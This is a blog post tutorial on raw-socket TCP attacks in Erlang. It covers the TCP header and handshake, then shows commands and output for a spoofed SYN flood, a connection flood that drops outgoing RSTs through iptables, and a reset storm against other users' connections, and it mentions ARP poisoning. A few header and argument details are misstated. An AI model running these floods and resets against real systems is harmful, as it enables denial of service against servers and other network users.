Pages

Sunday, June 20, 2010

Fun with Raw Sockets in Erlang: Abusing TCP

TCP Packet Structure

A TCP header is represented by:
  • Source Port:16
  • Destination Port:48
  • Sequence Number:32
  • Acknowledgement Number:32
  • Data Offset:4
  • Reserved:4
  • Congestion Window Reduced (CWR):1
  • ECN-Echo (ECE):1
  • Urgent (URG):1
  • Acknowledgement (ACK):1
  • Push (PSH):1
  • Reset (RST):1
  • Synchronize (SYN):1
  • Finish (FIN):1
  • Window Size:16
  • TCP Pseudo-Header Checksum:16
  • Urgent Pointer:16
  • Options:0-320
  • The Data offset is the length of the TCP header and in 32-bit words, i.e., multiply the offset by 4 to get the number of bytes.
  • The CWR and ECE flags were added in RFC 3168.
  • The TCP checksum is calculated by forming a pseudo-header from attributes of the IP header prepended to the TCP header and payload. When performing the checksum, the TCP checksum field is set to 0.
  • An offset greater than 5 (20 bytes for the mandatory header elements) indicates the presence of (offset-5)*4 bytes of TCP Options in the header. Since the offset field is 4 bits, the maximum value of the offset field is 15, allowing for up to 40 bytes of options. Options are not used in the examples below.
The equivalent TCP header in Erlang is:
<<SPort:16, DPort:16,
SeqNo:32,
AckNo:32,
Off:4, 0:4, CWR:1, ECE:1, URG:1, ACK:1,
PSH:1, RST:1, SYN:1, FIN:1, Win:16,
Sum:16, Urp:16>>
The pseudo-header can be illustrated as:
  • Source Address:32
  • Destination Address:32
  • Zero:8
  • Protocol:8
  • TCP Header Length:16
  • TCP Header and Payload:1
  • ...
  • TCP Header and Payload:N
  • The Source Address from the IP header.
  • The Destination Address from the IP header.
  • The Protocol as specified by the IP header. For TCP, the value will be 6.
  • The TCP Header Length in bytes. The length of the IP pseudo-header is not included.
  • The TCP Header and Payload contains the full TCP packet.
In Erlang, the IP pseudo-header is represented as:
<<SA1:8,SA2:8,SA3:8,SA4:8,  % bytes representing the IP source address
DA1:8,DA2:8,DA3:8,DA4:8,    % bytes representing the IP destination address
0:8,                        % Zero
6:8,                        % Protocol: TCP
(TCPoff * 4):16>>           % TCP packet size in bytes

Exhausting Server Resources

TCP is stateful, requiring the client and server to allocate resources to manage each phase of the connection. A TCP connection is established by synchronizing the sequence numbers of the client and server.
  • The client sends a 20 byte TCP packet:
    • the SYN bit is set to 1
    • a randomly chosen sequence number
    • the acknowledgment number set to 0
    • no payload
    The client goes into state "SYN_SENT".
  • The server replies with:
    • the SYN bit set to 1
    • the ACK bit set to 1
    • a randomly chosen sequence number
    • the acknowledgement number is set to the client's sequence number, incremented by 1
    • no payload
    The server goes into state "SYN_RECEIVED".
  • The client replies with:
    • the SYN bit set to 0
    • the ACK bit set to 1
    • the sequence number (the acknowledgement number returned by the server)
    • the acknowledgement number, the sequence number of the server incremented by the size in bytes of the payload
    • an optional payload
    The client goes into state "ESTABLISHED"

Each phase of the connection needs to be tracked by the operating system. For example, if the initial SYN packet sent by the client does not result in a response, the client will resend the SYN packet, typically up to 3 times, before returning a timeout error.

On the server, if the SYN ACK is not ACK'ed by the client, the server must periodically attempt to re-send the SYN-ACK packet before freeing the resources allocated to this connection.

The resources required for tracking these connections, although small, can be exhausted either through high demand or a denial of service attack using several simple, well known attacks.
  • SYN flood: Sending a large number of requests to initiate a TCP connection will prevent the server from accepting connections from legitimate clients.
  • connection flood: Usually a client is limited in the number of connections it can open to a server; for example, by the number of available file descriptors. If the client can track the connections statelessly, a single client can overwhelm the server.

Preparation

  • We'll use procket to pass the raw sockets into Erlang. To see how the packets are sent, see this tutorial.

    procket uses the PF_PACKET socket interface, so these examples are Linux specific. I ran them on an Ubuntu 8.04 system. The functions in this source file can be used to send the Erlang binaries.


  • I've tried to make the examples as self-contained as possible, but for parsing the packets and converting them into Erlang records, you'll need a copy of epcap_net.erl and epcap_net.hrl from epcap.

  • On a hubbed network, like public 802.11 networks, you should be able to assign any IP address and act on the replies.

  • If you are on a switched network or on an 802.11 network pretending to be switched (WEP/WPA security), you'll only be able to sniff replies to your assigned IP address. Or you can use ARP poisoning, ettercap works well.

SYN Flood

A SYN flood simply sends a large number of TCP packets with the SYN bit set to a target port. The source port, sequence number and (potentially) source IP address can be randomly assigned. However, the source IP address should be non-existent. Any client listening on that IP will RST the connection when the server SYN ACK's, causing the server to deallocate all resources associated with the embryonic session. syn takes these arguments:
  • Device name
  • Source 3-tuple
    • Source MAC address
    • IP address
    • Source port, can be 0 to randomly choose a port
  • Destination 3-tuple
    • Destination MAC address
    • IP address
    • Source port, can be 0 to randomly choose a port
  • Number of SYN packets to be sent
1> syn:flood("ath0",
        {{16#00,16#15,16#af,16#59,16#08,16#26}, {192,168,213,213}, 0},
        {{16#00,16#16,16#3E,16#E9,16#04,16#06}, {192,168,213,7}, 8080}, 10).
ok
msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:18868   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:5705    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:60884   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:49723   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:1362    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:53146   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:57667   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:37629   SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:7937    SYN_RECV
tcp        0      0 192.168.213.7:8080      192.168.213.213:58975   SYN_RECV

Connection Flood

A connection flood works by sending a number of SYN packets to the destination port. The server will reply with a SYN-ACK. The client monitors the network for any replies from the destination port with the ACK bit set and sends an acknowledgement in response. For an example of this behaviour, see drench, a utility written in C using libnet. The Erlang version is simpler, smaller and much more elegant. On a switched network, you won't be able to sniff the replies to spoofed IP addresses. To run a connection flood, you'll need to adjust your firewall to drop RST packets. Since I'm using Ubuntu, I used the simple firewall interface, ufw.
$ ufw enable
$ iptables -I ufw-before-output -p tcp --tcp-flags RST RST --destination-port 8080 -j DROP
Spawn a process to respond to ACK's. ack takes 2 arguments:
  • Device name
  • Port
For example, if you are listening on the eth0 device for packets with a target port of 8080:
1> spawn(ack, start, ["eth0", 8080]).
<0.34.0>
Then send out SYN packets:
2> syn:flood(). % send out 10 SYN packets
ok
Checking the target host shows a number of connections in the ESTABLISHED state:
msantos@ecn:~$ netstat -an |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN
tcp        0      0 192.168.213.7:8080      192.168.213.213:50691   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:49955   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:12017   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:13662   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:35611   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:57062   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:11549   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:30963   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:41435   ESTABLISHED
tcp        0      0 192.168.213.7:8080      192.168.213.213:5591    ESTABLISHED

Resetting Connections

TCP reset storms can be used on hubbed networks to bring down other client's TCP connections. I call this peer-to-peer QoS. For comparison, here is another version of rst written in C using libnet. rst takes 2 arguments:
  • Device name
  • IP address to be excluded (to avoid resetting your own connections)
1> rst:start("eth0", {127,0,0,1}).
$ ssh 192.168.213.7
Read from socket failed: Connection reset by peer

No comments:

Post a Comment